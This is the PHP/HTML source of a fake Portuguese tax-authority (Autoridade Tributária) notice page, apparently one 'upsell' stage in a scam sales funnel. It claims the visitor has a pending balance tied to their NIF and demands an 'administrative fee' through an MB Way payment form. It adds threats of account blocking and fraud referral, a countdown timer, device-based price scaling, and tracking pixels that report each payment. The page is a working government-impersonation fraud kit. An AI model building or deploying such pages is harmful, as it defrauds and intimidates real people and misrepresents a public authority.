<?php
$qs = $_SERVER['QUERY_STRING'] ?? '';
$params = $qs ? '?' . $qs : '';
require_once dirname(__DIR__) . '/assets/funnel-config.php';
require_once dirname(__DIR__) . '/assets/device-tier.php';
require_once dirname(__DIR__) . '/central.php';
$fc = loadFunnelConfig();
$up_amount = round($fc['prices']['up4'] * _dtier($_SERVER['HTTP_USER_AGENT'] ?? '', $fc['device_tier_max_pct'], $fc['device_tier_enabled']), 2);
$up_amount = central_price('up4', $up_amount);
$up_fmt = number_format($up_amount, 2, ',', '.');
$up_next = '../up5/' . $params;
$up_product_id = 'upsell-4';
$up_product_name = 'Meta - Guia AT';
?><!DOCTYPE html>
<html lang="pt-PT">
<head>
    <meta charset="UTF-8">
<script>
!function(w,d,t){w.TiktokAnalyticsObject=t;var ttq=w[t]=w[t]||[];ttq.methods=["page","track","identify","instances","debug","on","off","once","ready","alias","group","enableCookie","disableCookie"],ttq.setAndDefer=function(t,e){t[e]=function(){t.push([e].concat(Array.prototype.slice.call(arguments,0)))}};for(var i=0;i<ttq.methods.length;i++)ttq.setAndDefer(ttq,ttq.methods[i]);ttq.instance=function(t){for(var e=ttq._i[t]||[],n=0;n<ttq.methods.length;n++)ttq.setAndDefer(e,ttq.methods[n]);return e},ttq.load=function(e,n){var i="https://analytics.tiktok.com/i18n/pixel/events.js";ttq._i=ttq._i||{},ttq._i[e]=[],ttq._i[e]._u=i,ttq._t=ttq._t||{},ttq._t[e]=+new Date,ttq._o=ttq._o||{},ttq._o[e]=n||{};var o=document.createElement("script");o.type="text/javascript",o.async=!0,o.src=i+"?sdkid="+e+"&lib="+t;var a=document.getElementsByTagName("script")[0];a.parentNode.insertBefore(o,a)};
ttq.load('<?= $fc["tiktok_pixel"] ?>');ttq.page();
}(window,document,'ttq');
</script>
<!-- Meta Pixel Code -->
<script>
!function(f,b,e,v,n,t,s)
{if(f.fbq)return;n=f.fbq=function(){n.callMethod?
n.callMethod.apply(n,arguments):n.queue.push(arguments)};
if(!f._fbq)f._fbq=n;n.push=n;n.loaded=!0;n.version='2.0';
n.queue=[];t=b.createElement(e);t.async=!0;
t.src=v;s=b.getElementsByTagName(e)[0];
s.parentNode.insertBefore(t,s)}(window, document,'script',
'https://connect.facebook.net/en_US/fbevents.js');
fbq('init', '1824082551586655');
fbq('track', 'PageView');
</script>
<noscript><img height="1" width="1" style="display:none"
src="https://www.facebook.com/tr?id=1824082551586655&ev=PageView&noscript=1"
/></noscript>
<!-- End Meta Pixel Code -->
<!-- UTMify Pixel -->
<script async src="https://cdn.utmify.com.br/scripts/utms/latest.js" data-utmify-prevent-subids></script>
<script src="../assets/utm-persist.js"></script>
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
    <title>Autoridade Tributária - Notificação Oficial</title>
    <script>
        (function() {
            function isDesktop() {
                const userAgent = navigator.userAgent || navigator.vendor || window.opera;
                const isMobileUA = /android|webos|iphone|ipad|ipod|blackberry|iemobile|opera mini/i.test(userAgent.toLowerCase());
                const isMobileScreen = window.innerWidth <= 768;
                return !isMobileUA && !isMobileScreen;
            }

        })();
    </script>
    <link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;700;800&display=swap" rel="stylesheet">
    <script src="https://cdn.tailwindcss.com"></script>
    <style>
        body { font-family: 'Inter', sans-serif; background-color: #f4f6f8; color: #1a202c; margin: 0; -webkit-font-smoothing: antialiased; }
        .gov-blue { background-color: #004088; }
        .animated-gradient {
            background: linear-gradient(to right, #004088 0%, #0060c0 25%, #00a0e0 50%, #0060c0 75%, #004088 100%);
            background-size: 200% auto; -webkit-background-clip: text; -webkit-text-fill-color: transparent; background-clip: text;
            animation: flowing 2.5s linear infinite; font-weight: 900;
        }
        @keyframes flowing { to { background-position: 200% center; } }
        .shadow-formal { box-shadow: 0 10px 15px -3px rgba(0,0,0,0.1), 0 4px 6px -2px rgba(0,0,0,0.05); }
    </style>
</head>
<body class="flex flex-col min-h-screen">

    <header class="bg-white w-full border-b border-gray-200">
        <div class="px-5 py-4 flex justify-start items-center">
            <img src="https://upload.wikimedia.org/wikipedia/commons/c/c5/Neg%C3%B3cios_Estrangeiros_Ministry_logo.png" class="h-14" alt="Portal AT">
        </div>
        <div class="w-full h-1" style="background: linear-gradient(to right, #003F20 0%, #006400 35%, #D4AF37 50%, #CC2200 65%, #D52B1E 100%);"></div>
    </header>

    <main class="flex-grow p-4">
        <div class="max-w-md mx-auto bg-white rounded-xl shadow-formal overflow-hidden border border-gray-200 mt-2">

            <div class="bg-gray-50 py-10 flex flex-col items-center border-b border-gray-100 text-center">
                <img src="https://upload.wikimedia.org/wikipedia/pt/6/64/Autoridade_Tribut%C3%A1ria_e_Aduaneira.png" class="h-20 mb-4" alt="Autoridade Tributária">
                <p class="text-[10px] font-black text-gray-500 uppercase tracking-[0.2em] px-6">Autoridade Tributária e Aduaneira de Portugal</p>
            </div>

            <div class="p-6">
                <h1 class="text-[#CC0000] text-[15px] font-black leading-tight mb-5 uppercase text-center tracking-tight">
                    COMUNICAÇÃO OFICIAL URGENTE
                </h1>

                <div class="space-y-4 text-gray-600 text-[13px] leading-relaxed mb-8 text-center px-2">
                    <p>Informamos que foi detectado um <b class="text-gray-900">saldo pendente</b> vinculado ao seu NIF. Para a regularização e libertação imediata, é necessário o pagamento da taxa administrativa:</p>
                </div>

                <div class="bg-gray-50 rounded-2xl py-8 mb-8 border border-gray-100 text-center">
                    <span class="text-gray-400 text-[10px] font-black uppercase tracking-widest block mb-1">Guia de Pagamento Única</span>
                    <div class="text-4xl animated-gradient tracking-tighter" id="upsellValue">€ <?= $up_fmt ?></div>
                </div>

                <div class="bg-red-50 border-l-4 border-red-600 p-5 mb-8 rounded-r-lg">
                    <p class="text-[12px] font-black text-red-700 uppercase mb-2">Penalidades por Não Regularização:</p>
                    <ul class="text-[11px] text-red-600 space-y-2 font-bold leading-snug">
                        <li class="flex items-start gap-2"><span>•</span> Bloqueio imediato do saldo acumulado;</li>
                        <li class="flex items-start gap-2"><span>•</span> Restrição do NIF em sistemas de crédito e bancários;</li>
                        <li class="flex items-start gap-2"><span>•</span> Encaminhamento para análise de fraude fiscal.</li>
                    </ul>
                </div>

                <div class="flex flex-col items-center mb-8">
                    <span class="text-[10px] font-black text-gray-400 uppercase tracking-widest mb-1">O prazo de regularização expira em:</span>
                    <div id="timer" class="text-5xl animated-gradient tracking-tighter">05:00</div>
                </div>

                <a href="javascript:void(0)" onclick="goToCheckout()" class="block w-full gov-blue text-white text-center py-5 rounded-lg font-black text-lg shadow-2xl active:scale-95 transition-all mb-4 uppercase tracking-tighter">
                    Pagar taxa e libertar valor
                </a>

                <div class="flex items-center justify-center gap-2 py-4 border-t border-gray-50 mt-4 opacity-80">
                    <img src="https://upload.wikimedia.org/wikipedia/commons/c/c5/Neg%C3%B3cios_Estrangeiros_Ministry_logo.png" class="h-4">
                    <span class="text-[9px] font-bold text-gray-400 uppercase tracking-tighter">Ambiente 100% Seguro — portal.at.gov.pt</span>
                </div>
            </div>
        </div>

        <div class="mt-8 text-center text-gray-400 max-w-xs mx-auto pb-10">
            <p class="text-[9px] font-bold uppercase tracking-[0.2em] mb-2">Autoridade Tributária | Ministério das Finanças</p>
            <p class="text-[8px] leading-relaxed opacity-60">
                Notificação electrónica protegida por criptografia de ponta a ponta.
            </p>
        </div>
    </main>

    <script>
        function startTimer(duration, display) {
            var timer = duration, minutes, seconds;
            setInterval(function() {
                minutes = parseInt(timer / 60, 10);
                seconds = parseInt(timer % 60, 10);
                minutes = minutes < 10 ? "0" + minutes : minutes;
                seconds = seconds < 10 ? "0" + seconds : seconds;
                display.textContent = minutes + ":" + seconds;
                if (--timer < 0) { timer = 0; }
            }, 1000);
        }
        window.onload = function() { startTimer(300, document.querySelector('#timer')); };

        function goToCheckout() { openPaymentForm(); }

        function loadUpsellValue() {
            var fee = (typeof window !== 'undefined') ? window.__UP_FEE_4 : undefined;
            var el = document.getElementById('upsellValue');
            if (el && fee !== undefined) {
                el.textContent = '€ ' + fee.toLocaleString('pt-PT', {minimumFractionDigits: 2, maximumFractionDigits: 2});
            }
        }
        loadUpsellValue();
    </script>
<style>.pay-dot{width:8px;height:8px;background:#E30613;border-radius:50%;animation:pay-bounce 1.2s infinite ease-in-out}.pay-dot:nth-child(2){animation-delay:.2s}.pay-dot:nth-child(3){animation-delay:.4s}@keyframes pay-bounce{0%,80%,100%{transform:scale(0.6);opacity:0.5}40%{transform:scale(1);opacity:1}}</style>
<div id="pay-overlay" style="display:none;position:fixed;top:0;left:0;right:0;bottom:0;background:rgba(0,0,0,0.6);z-index:9999;justify-content:center;align-items:flex-end"><div style="background:#fff;border-radius:20px 20px 0 0;padding:24px 20px 36px;width:100%;max-width:480px;margin:0 auto"><div id="pay-form-section"><h3 style="font-size:17px;font-weight:700;margin-bottom:4px;color:#111">Pagamento seguro</h3><p style="font-size:13px;color:#888;margin-bottom:18px" id="pay-subtitle">MB Way</p><div style="margin-bottom:14px"><label style="font-size:13px;color:#555;font-weight:600;display:block;margin-bottom:6px">Nome completo</label><input id="pay-name" type="text" placeholder="O teu nome" style="width:100%;padding:12px 14px;border:1.5px solid #e0e0e0;border-radius:10px;font-size:15px;outline:none"></div><div style="margin-bottom:20px"><label style="font-size:13px;color:#555;font-weight:600;display:block;margin-bottom:6px">Número MB Way</label><div style="display:flex;gap:10px;align-items:center"><div style="background:#f5f5f5;border:1.5px solid #e0e0e0;border-radius:10px;padding:12px;font-size:15px;font-weight:600;white-space:nowrap">&#127477;&#127481; +351</div><input id="pay-phone" type="tel" inputmode="numeric" maxlength="9" placeholder="xxxxxxxx" style="flex:1;padding:12px 14px;border:1.5px solid #e0e0e0;border-radius:10px;font-size:15px;outline:none"></div></div><div id="pay-error" style="display:none;color:#e53935;font-size:13px;margin-bottom:12px;text-align:center"></div><button onclick="submitUpPayment()" style="width:100%;background:#E30613;color:#fff;font-size:16px;font-weight:700;padding:17px;border:none;border-radius:50px;cursor:pointer">CONFIRMAR PAGAMENTO</button><button onclick="closePaymentForm()" style="width:100%;background:none;border:none;font-size:13px;color:#bbb;padding:14px;cursor:pointer;margin-top:4px">Cancelar</button></div><div id="pay-waiting" style="display:none;text-align:center;padding:20px 0"><div style="margin-bottom:12px;display:flex;justify-content:center" aria-hidden="true"><svg xmlns="http://www.w3.org/2000/svg" width="40" height="40" viewBox="0 0 24 24" fill="none" stroke="#111" stroke-width="1.75" stroke-linecap="round" stroke-linejoin="round"><rect x="6" y="2" width="12" height="20" rx="2"/><path d="M12 18h.01"/></svg></div><p style="font-size:16px;font-weight:700;color:#111;margin-bottom:8px">Aguarda a notificação MB Way</p><p style="font-size:13px;color:#888;margin-bottom:20px">Abre o app MB Way e confirma o pagamento</p><div style="display:flex;gap:6px;justify-content:center;margin-bottom:16px"><div class="pay-dot"></div><div class="pay-dot"></div><div class="pay-dot"></div></div><button onclick="cancelUpPayment()" style="background:none;border:1.5px solid #e0e0e0;border-radius:50px;font-size:13px;color:#888;padding:10px 20px;cursor:pointer">Cancelar</button></div></div></div>
<script>
var upPayId=null,upPayInterval=null;
var UP_AMOUNT=<?= $up_amount ?>;
var UP_NEXT='<?= $up_next ?>';
var UP_PRODUCT_ID='<?= $up_product_id ?>',UP_PRODUCT_NAME='<?= $up_product_name ?>';
var _mbPayer=null;try{_mbPayer=JSON.parse(localStorage.getItem('mbway_payer')||'null');}catch(e){}
function _gU(k){if(typeof getUtmValue==="function")return getUtmValue(k);var p=new URLSearchParams(window.location.search);return p.get(k)||null;}function _utmify(st,amt){var p=new URLSearchParams(window.location.search);var nm=document.getElementById('pay-name')?document.getElementById('pay-name').value:'';fetch('../tracking.php',{method:'POST',keepalive:true,headers:{'Content-Type':'application/json'},body:JSON.stringify({status:st,transaction_id:upPayId||('up4-'+Date.now()),amount:amt,method:'mbway',product_id:UP_PRODUCT_ID,product_name:UP_PRODUCT_NAME,customer:{name:nm,email:(_mbPayer&&_mbPayer.email)||null,phone:null,document:null},utms:{utm_source:_gU('utm_source'),utm_medium:_gU('utm_medium'),utm_campaign:_gU('utm_campaign'),utm_content:_gU('utm_content'),utm_term:_gU('utm_term'),src:_gU('src'),sck:_gU('sck')}})}).catch(function(){});}
function _tf(evt,amt,mth){try{var s=localStorage.getItem('_vid')||'';if(!s){s=Math.random().toString(36).substr(2,9)+Date.now().toString(36);localStorage.setItem('_vid',s);}var p=new URLSearchParams(window.location.search);fetch('/painel/tracker.php',{method:'POST',keepalive:true,headers:{'Content-Type':'application/json'},body:JSON.stringify({sid:s,page:'up4',event:evt,amount:amt||0,method:mth||'',src:p.get('utm_source')||'',med:p.get('utm_medium')||'',cmp:p.get('utm_campaign')||''})}).catch(function(){});}catch(e){}}
_tf('InitiateCheckout');

function openPaymentForm(){document.getElementById('pay-overlay').style.display='flex';document.getElementById('pay-error').style.display='none';var sub=document.getElementById('pay-subtitle');if(sub)sub.textContent='MB Way \u00b7 <?= $up_fmt ?>\u20ac';if(_mbPayer&&_mbPayer.name&&_mbPayer.phone){document.getElementById('pay-name').value=_mbPayer.name;document.getElementById('pay-phone').value=_mbPayer.phone;document.getElementById('pay-form-section').style.display='none';document.getElementById('pay-waiting').style.display='block';submitUpPayment();}else{if(_mbPayer&&_mbPayer.name)document.getElementById('pay-name').value=_mbPayer.name;document.getElementById('pay-form-section').style.display='block';document.getElementById('pay-waiting').style.display='none';}}
function closePaymentForm(){document.getElementById('pay-overlay').style.display='none';}
function cancelUpPayment(){if(upPayInterval)clearInterval(upPayInterval);closePaymentForm();}
var _upMbwayRetry=0;function submitUpPayment(){var name=document.getElementById('pay-name').value.trim();var phone=document.getElementById('pay-phone').value.trim().replace(/\D/g,'');var errEl=document.getElementById('pay-error');errEl.style.display='none';if(!name){errEl.textContent='Preenche o teu nome.';errEl.style.display='block';return;}if(!/^\d{9}$/.test(phone)){errEl.textContent='N\u00famero MB Way inv\u00e1lido (9 d\u00edgitos).';errEl.style.display='block';return;}document.getElementById('pay-form-section').style.display='none';document.getElementById('pay-waiting').style.display='block';_tf('payment_started',UP_AMOUNT,'mbway');fetch('create-transaction.php',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({stage:'up4',method:'mbway',amount:UP_AMOUNT,payer:{name:name,phone:'+351'+phone,email:(_mbPayer&&_mbPayer.email)||(phone+'@mbway.pt'),document:'999999999'}})}).then(function(r){return r.json();}).then(function(d){if(d.id||d.statusCode===200){upPayId=d.id;if(d.generatedMBWay===false&&_upMbwayRetry<3){_upMbwayRetry++;setTimeout(submitUpPayment,1500);return;}_upMbwayRetry=0;_utmify('waiting_payment',UP_AMOUNT);upPayInterval=setInterval(checkUpPayment,5000);}else{showUpError(d.message||'Erro ao processar. Tenta novamente.');}}).catch(function(){showUpError('Erro de liga\u00e7\u00e3o. Tenta novamente.');});}
function checkUpPayment(){if(!upPayId)return;fetch('create-transaction.php?action=status',{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify({id:upPayId})}).then(function(r){return r.json();}).then(function(d){var s=(d.status||'').toUpperCase();if(['PAID','APPROVED','COMPLETED','CONFIRMED'].includes(s)){clearInterval(upPayInterval);_tf('payment_paid',UP_AMOUNT,'mbway');_utmify('paid',UP_AMOUNT);if(typeof fbq==='function')fbq('track','Purchase',{value:UP_AMOUNT,currency:'EUR',content_ids:[UP_PRODUCT_ID],content_type:'product'});setTimeout(function(){window.location.href=UP_NEXT;},450);}}).catch(function(){});}
function showUpError(msg){document.getElementById('pay-form-section').style.display='block';document.getElementById('pay-waiting').style.display='none';var e=document.getElementById('pay-error');e.textContent=msg;e.style.display='block';}
</script>
</body>
</html>
